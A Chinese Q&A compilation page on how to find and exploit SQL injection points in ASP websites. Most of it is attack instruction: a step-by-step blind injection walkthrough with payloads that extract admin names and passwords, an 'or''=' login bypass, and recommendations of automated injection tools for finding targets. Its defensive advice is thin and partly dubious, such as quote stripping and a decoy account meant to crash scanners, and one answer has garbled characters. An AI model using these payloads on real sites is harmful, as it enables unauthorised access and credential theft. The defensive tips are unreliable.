當前位置:首頁 » 網站資訊 » 怎麼找網站注入點

怎麼找網站注入點

發布時間: 2023-08-14 17:40:39

⑴ 注入漏洞的檢測方法

目前比較准確的檢測注入漏洞的方法是進行網站漏洞掃描,推薦EeSafe網站安全聯盟。
查找與修補
一、注入點的查找
當我們想要測試某個站點時,一般會架上注入工具對其狂轟亂炸,這樣做雖然有時能找到注入點,但還是有些盲目,我個人的看法是:如果有源碼的話,就從源碼入手,在源碼中查找注入點。對於源碼,有些朋友可能覺得很難,其實源碼並不神秘,它也是有一定的語法規則的,看一套優秀的源碼就像是在欣賞一部精美的電影,只要我們堅持每天看一些優秀源碼,再加上網路這個老師的指點,用不了多久,源碼的神秘面紗就會被你揭去。閑話少說,下面我們就開始查找注入點,目標有兩個:一是Request,二是SQL語句。
說到Request,這個是ASP程序中的一個內建對象,怎麼?不懂?那就跟我先來惡補一下吧!它是用來獲取客戶端信息的,有五種方法,而會出現注入點的一般有以下三種:
1、Request.QueryString:取得客戶端提交的信息。當Form以Get方法提交信息,或是直接在URL中提交變數值時,在伺服器端接收數據時採用的就是這種方法。
2、Request.Form:同樣也是取得客戶端提交的信息,但它接收的是Form以Post方法提交的信息。
3、Request.Cookies:取得客戶端瀏覽器的Cookies信息。Cookies就是小甜餅,指的是一些私人信息,如用戶名、密碼之類的信息。
有些程序員為了減少錯誤,對於前兩種信息的獲取,會採用Request來取得客戶端提交的信息,這種方法,雖然可以通吃Request.QueryString和Request.Form的提交信息,但如果過濾的不好,就會被漏洞反咬一口。
了解過一些Request的知識後,下面就在「查找」中輸入「request」進行搜索,OK!當找到上面所列的三項Request語句後,再來看一下程序對這些Request語句是否做了過濾,比如ID值是否用INT過濾,例:id=int(request(id));字元串值是否用replace ()或instr()等函數進行過濾單引號或一些特殊字元,例:username=replace(request(username),, );或者程序是否採用本身的一些過濾函數來過濾這些提交值。從查找到這句request參數起,一直到SQL語句中使用這個提交值至,如果中間沒有上面的層層關卡,那麼,一個注入點,基本上就算是出現了。
說到SQL語句,不能不提到以下幾個常用的語句:
1、查詢語句:Select [(<欄位名1> [,<欄位名2>, ...])] FROM <表名JMDCW> [Where <條件表達式> [AND|OR <條件表達式>...]
2、更新語句:Update <表名JMDCW> SET 列名1 = 常量表達式1[,列名2 = 常量表達式2 ...] Where <條件表達式> [AND|OR <條件表達式>...]
3、刪除語句:Delete FROM〈表名JMDCW〉[Where <條件表達式> [AND|OR <條件表達式>...]]
這里不對SQL語句做介紹了。在上面列出的SQL語句中,注入點出現頻率最高的是Select語句,而注入參數的出沒地通常都是在Where之後的條件中。當一個沒有過濾的Request語句進入SQL語句後,就是注入大顯身手的時候了,不過,在進行注入之前還要先看一下該參數是直接引入,還是用單引號引入的,另外,該參數是否還應用於其他SQL語句中,然後,根據不同的信息,選擇不同的處理方式,或直接暴破,或UNION查詢,當然,如果存在注入點的程序使用的是SQL資料庫,那就不單單是得到一些重要信息,甚至還可以增加管理員。
下面用「螞蟻影院3.0」版注銷用戶(wantlogin.asp)中的一段源碼來做一下介紹:
引用
<%
if request(userid1)<> then
set rst=server.createobject(adodb.recordset)
sql=select money,online from users where userid=&request(userid1)& and password=&md5(request(pws))&
rst.open sql,conn,1,3
if rst.eof and rst.bof then
response.write<script>alert(用戶名或密碼錯誤!);history.back();</Script>
else
response.write<script>alert(恢復成功你現在可以登陸!);</Script>
response.write<script Language=Javascript>location.href = index.asp;</script>
rst.close
set rst=nothing
conn.close
set conn=nothing
end if
end if
%>
在其流程中,首先判斷取得的提交值userid1是否為空,不為空的話就進入SQL語句中,驗證取得的用戶名及密碼是否和資料庫內的用戶名及密碼一致,如果不一致,則彈出「用戶名及密碼錯誤」窗口,否則,就彈出「恢復成功」的窗口。這也是一段典型的注入漏洞源碼,並且,接收的方式還是使用的 request,這就給我們提交注入語句提供了最大的方便。如果我們在URL地址中提交如下字元:http: //127.0.0.1/wantlogin.asp?userid1=aa&pws=bb,因為沒有aa這個用戶,那麼就會彈出錯誤窗口,而如果我們將aa換成如下字元:aa or1=1 or 1=1,pws保持不變,這樣提交的語句到了SQL語句中就成了如下語句:
select money,online from users where userid1=aa or 1=1 or 1=1 and password=md5(bb),以往我們所見到的測試代碼一般為「or 1=1」,而這里卻多用了一個 or ,為什麼要多用一個or呢?解釋一下,在邏輯運算符中,and的優先順序別高於or ,程序運行後會先運算後面的1=1 and password=md5(bb),因為密碼是隨便輸入的,所以and後的password值為假,而and前的1=1雖然為真,但真and 假=假,所以,這個and的運算值為假,再來看or運算,因為前面的用戶名也是不存在的,其值當然為假,如此一來,where後的邏輯運算就成了如下表達式:假or真or假,結果值還是為真,這樣就會彈出「恢復成功」窗口,如果將其中的or 1=1 改為or 1=2,那邏輯表達式則成了:假or假or假,值當然也為假,彈出的就是「用戶名或密碼錯誤」的窗口。這樣,根據彈出窗口的不同,我們就可以構造一些特殊字元,然後猜測出需要的數據了,比如查詢管理員ID的語句,將or後的1=1更改為: 1=(Select top 1 id from admin),這里暫用admin表示管理員表名,如果存在ID為1的管理員,那麼就會彈出「恢復成功」的窗口,否則,就證明管理員的ID不為1,那就要再用其他數字來測試。猜出管理員ID後,再把此段字元更改為猜測管理員名稱長度的字元:5<(Select len(adminname) from admin where id=1),如為真,則證明長度大於5,否則長度小於或等於5。猜出長度後,再用asc()函數來猜測管理員的名稱:90<(select asc(mid(adminname,1,1)) from admin where id=1),如此循環,就能暴破出管理員的名稱及密碼了。
上面提到的是Request.QueryString和Request.Form的注入方法,而Request.Cookies的注入方法則是要修改本地的Cookies值來實現的,推薦使用一些專門的Cookies修改工具,不過,用Cookies來注入相對而言,就麻煩了好多,但原理和前面的注入是一樣的,這里就不介紹了。
二、注入點的修補
在上面著重講了如何查找注入點及簡單的利用方法,當我們知道了攻後,也就明白了如何守,攻和守之間雖然是對立的,但也是相互的。明白了什麼地方存在注入點,再來修補也就容易多了。在前面查找注入點時,我也提到查看程序中是否對提交參數進行了過濾,每個程序對注入的過濾函數都不相同,我們在修補自已站點上的注入點時,可參照其他程序中的過濾函數,也可根據自已的需要,單獨過濾一些敏感的字元。這里,還是以上面的那個例子來說一下如何修補注入點。在前面的 SQL語句中有這一句:userid=&request(userid1)&,這其中對提交來的參數是用單引號來引入的,而我們能成功注入也是在提交參數中加入了單引號來閉合其語句,這樣,加入一個replace()函數對單引號進行過濾,修改後的語句為:userid= &replace(request(userid1),,)&,這樣用戶再提交帶有單引號的字元時, Replace()就會將單引號過濾為空,如此一來,提交的那些特殊字元也就失去了其意義。
當然,我們還可以在userid1進入SQL語句之前,對其長度進行一下判斷,如果超過規定的長度,就彈出錯誤,中止頁面執行並返回到指定的頁面。當然還可以借鑒一些優秀源碼中的過濾方法。總之,注入漏洞是可以避免的,即使出現了注入點,只要我們分析出其出現的原因,也就能很容易地將其修補了!

⑵ 怎麼檢測網站存在注入漏洞 防注入有哪些解決辦法

許多網站程序在編寫時,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段資料庫查詢代碼(一般是在瀏覽器地址欄進行,通過正常的www埠訪問),根據程序返回的結果,獲得某些想得知的數據,這就是所謂的SQL Injection,即SQL注入。

第一步:很多新手從網上下載SQL通用防注入系統的程序,在需要防範注入的頁面頭部用來防止別人進行手動注入測試。

可是如果通過SQL注入分析器就可輕松跳過防注入系統並自動分析其注入點。然後只需要幾分鍾,你的管理員賬號及密碼就會被分析出來。

第二步:對於注入分析器的防範,通過實驗,發現了一種簡單有效的防範方法。首先我們要知道SQL注入分析器是如何工作的。在操作過程中,發現軟體並不是沖著「admin」管理員賬號去的,而是沖著許可權(如flag=1)去的。這樣一來,無論你的管理員賬號怎麼變都無法逃過檢測。

第三步:既然無法逃過檢測,那我們就做兩個賬號,一個是普通的管理員賬號,一個是防止注入的賬號,如果找一個許可權最大的賬號製造假象,吸引軟體的檢測,而這個賬號里的內容是大於千字以上的中文字元,就會迫使軟體對這個賬號進行分析的時候進入全負荷狀態甚至資源耗盡而死機。下面我們就來修改資料庫吧。

  1. 對表結構進行修改。將管理員的賬號欄位的數據類型進行修改,文本型改成最大欄位255(其實也夠了,如果還想做得再大點,可以選擇備注型),密碼的欄位也進行相同設置。

  2. 對表進行修改。設置管理員許可權的賬號放在ID1,並輸入大量中文字元(最好大於100個字)。

  3. 把真正的管理員密碼放在ID2後的任何一個位置(如放在ID549上)。

我們通過上面的三步完成了對資料庫的修改。

另外要明白您做的ID1賬號其實也是真正有許可權的賬號,現在計算機處理速度那麼快,要是遇上個一定要將它算出來的軟體,這也是不安全的。只要在管理員登錄的頁面文件中寫入字元限制就行了,就算對方使用這個有上千字元的賬號密碼也會被擋住的,而真正的密碼則可以不受限制。

希望可以幫到你,謝謝!

⑶ 怎麼可以找可以注入的網站

用啊D,另外手工注入方法:
實例:_blank>http://www.XXX.com/jiaren.asp?ID=544

好下面開始了.....

1.判斷

用' ;
用 and 1=1 and 1=2

判斷是很重要並且最主要的一步,因為如果你手工注入不判斷那麼怎麼繼續呢..
============================================================================
' 返回

Microsoft JET Database Engine 錯誤 '80040e14'

語法錯誤 (操作符丟失) 在查詢表達式 'ID = 544''' 中。

/jiaren.asp,行15

============================================================================

; 返回正常頁面

===============================
and 1=1 返回正常頁面

================================
and 1=2 返回錯誤頁面

編號:

ADODB.Field 錯誤 '800a0bcd'

BOF 或 EOF 中有一個是"真",或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。

/jiaren.asp,行28
==============================================================================

上面我們進行了簡單的判斷,可以知道該頁面存在注入.這個時候會有很多朋友要問,這樣為什麼就存在注入呢.呵呵你只要記住我們就是靠返回頁面的不同來判斷的.只有它兩次返回頁面不相同那麼就可以知道存在了.

2.猜表
and 0<>(select count(*) from *)
這個就最基礎,最大眾話的查詢語句了.至於語句的作用我會給大家說明.但是具體的意思請大家自行找有關SQL查詢的資料看.

and 0<>(select count(*) from admin) ---判斷是否存在admin這張表

其中admin是可以換的,其他部分不要換.
我們剛剛返回的是正確頁面說明存在admin這張表.如果返回錯誤說明不存在,那麼我們就要換其他的.如: and 0<>(select count(*) from user) 當然啦,只要你想到都可以試試.那天我在課上我給了大家兩個提示,沒有想到很多人居然就知道這兩個了.還問我把admin , user 換成其他的可不可以.同志們,這個admin user 是可以替換的.但是,不是隨便換你要想一下平時人家都是用什麼名稱來做表名.因為你是在猜表,也要有思路的猜不是亂猜.換成123 456 那有用嗎.沒有用因為沒有誰會用這個去做表的名稱.
一般的表的名稱無非是admin adminuser user pass password 等..

3.猜帳號數目
and 0<(select count(*) from admin)
大家會發現和上面的語句差不多.呵呵其實查詢部分就是一樣不同的是前面的數字.這個數字就是去看看有幾個用戶帳號.是要換的哦.不是固定是1..因為我們是猜呀.也就是現在我們也不知道它表裡面數據到底有幾個帳號所以要猜,如果固定的那麼就不叫猜了呵呵..
1< 就是說看看 1是不是小於裡面的帳號數目 如果返回的頁面是正確的說明是對的,如果錯誤的說明不是的那麼我們就要換成 2< 3< ..... 當然啦你也可以用1> 2> 來猜.
如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數目就是1個 具體的數學上面判斷大小不會要我去教你們了吧.
下面我做給你們看,這里我是從0開始判斷 呵呵返回正確頁面肯定會返回的因為裡面不可能一個管理員帳號都沒有的. 返回錯誤了哦.說明什麼他裡面就只有一個管理員帳號.我們換成1=看看是不是 OK返回正確頁面說明是的.
如果裡面有幾個帳號這個時候大家就要知道具體猜哪個帳號了.

4.猜解欄位名稱
and 1=(select count(*) from admin where len(name)>0) 用戶欄位名稱

and 1=(select count(*) from admin where len(password)>0) 密碼欄位名稱

猜解表裡面的欄位名稱了
and 1=(select count(*) from admin where len(*)>0)--- 這個是核心語句哦也是大眾話的語句.我們要做的就是在len( ) 括弧裡面加上我們想到的欄位名稱.

我們先來猜用戶名欄位 我用的是 name OK對了.那麼下面我們就來猜密碼欄位了.
我先用pass 暈死不是的,那麼我們再換成password看看 ok對了.
那麼用戶欄位和密碼欄位我們都猜解出來了.下面就是猜解長度和具體的字元了.

5.猜解各個欄位的長度
猜解長度就是把
and 1=(select count(*) from admin where len(*)>0)

>0 換成其他的只道猜到=?返回正確頁面為止,好,下面我們開始吧.
首先是帳號長度...剛剛帳號欄位是name
and 1=(select count(*) from admin where len(name)>0) 正確
and 1=(select count(*) from admin where len(name)>1) 正確
and 1=(select count(*) from admin where len(name)>2) 正確
and 1=(select count(*) from admin where len(name)>6) 錯誤
and 1=(select count(*) from admin where len(name)>5) 正確
and 1=(select count(*) from admin where len(name)>4) 正確
那麼我們就可以知道長度是 6
and 1=(select count(*) from admin where len(name)=6) 正確
呵呵對了吧,=6返回的是正確頁面.

下面是密碼欄位的長度
and 1=(select count(*) from admin where len(password)>0) 正確
and 1=(select count(*) from admin where len(password)>6) 正確
and 1=(select count(*) from admin where len(password)>10) 正確
and 1=(select count(*) from admin where len(password)>15) 錯誤
and 1=(select count(*) from admin where len(password)>14) 錯誤
and 1=(select count(*) from admin where len(password)>13) 錯誤
and 1=(select count(*) from admin where len(password)>12) 錯誤
and 1=(select count(*) from admin where len(password)>11) 正確
OK長度是 12

name 6
password 12

長度出來了,下面就是具體的字元了

6.猜解字元
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用戶
and 1=(select count(*) from admin where left(password,1)='a')
就這樣一次加一個字元這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了

and 1=(select count(*) from admin where left(pass,1)='a') ---猜解密碼

left(name,1)='a' 注意了 1的位置就是你要猜解的字元的位置.
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用戶帳號的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用戶帳號的第二位
就這樣下去只到猜玩為止.

and 1=(select count(*) from admin where left(name,1)='a') 錯誤
.....
and 1=(select count(*) from admin where left(name,6)='pclzyq')
因為這個猜解過程比較漫長所以我就直接給出答案了.

and 1=(select count(*) from admin where left(password,1)='a') 錯誤
.......
and 1=(select count(*) from admin where left(password,12)='pclzyq000215')
直接給出了答案.

name = pclzyq
password = pclzyq000215

7.找出登陸口,進行登陸
一般的登陸口:
admin.asp
admin_index.asp
admin/index.asp
admin/admin.asp
....
大家可以自己去積累..積累多了不要忘了做成文本文件傳給我哦.^_^

我們這里登陸口是 _blank>http://www.talewin.com/admin.asp 下面就是進行登陸了.

呵呵,後台簡單吧寫這個程序的人估計也很簡單因為他這個登陸口還存在另外一個問題.
用 'or''=' 進行登陸看看 , 看見了吧也可以進去哦.呵呵

說明:

命令:select
中文意思:選擇
說明:用於找出合乎條件的記錄

加總函數:COUNT
中文意思:數量
說明:用於求指定的數量

子句:FROM
中文意思:數據表
說明:用於指定數據表

子句:where
中文意思:條件
說明:用於設定條件

運算符:AND
中文意思:並且
說明:邏輯且

TOP --取出前面的指定長度數據
select top 10 * from .....

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 這個查詢語句可以猜解中文的用戶和密碼.只要大家把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字元.

⑷ 如何找到網站的注入點

這個問題好龐畝蘆大和抽象,找注入點,一般最簡單的方法就是在有類似?id=4的後面加上and
1=1返回正常

and
1=2,返回錯誤頁面,那就可以初步斷定存在注入點,至於進一步的得到更多的信息和進後台嘩腔或者拿webshell就要說一大堆了,沒必要復制粘貼在這里,你自己去搜索吧
當迅蘆帶然,以上是指用手工注入。
不過現在的人都懶了,來做黑客也是,所以都用工具了,你可以用啊d,nbsi,明小子等等專門掃漏洞的工具來掃描。拿到webshell是非常簡單的事情,但是提權通常就異常艱巨,現在的網站的許可權都設置的比較變態。一句話說不清,要交流的話,可以加我

⑸ 如何查看網站是否存在注入點

有注入工具可以查詢的。你也可以上360,裡面有網站安全檢測。建議你的網站最好為獨立IP空間,這樣避免共用IP造成旁註

⑹ 怎麼找一個網站的注入點

site: google檢測你所有的版面,然後再用啊d對每個版面檢測,一般都可以檢測出來注入點了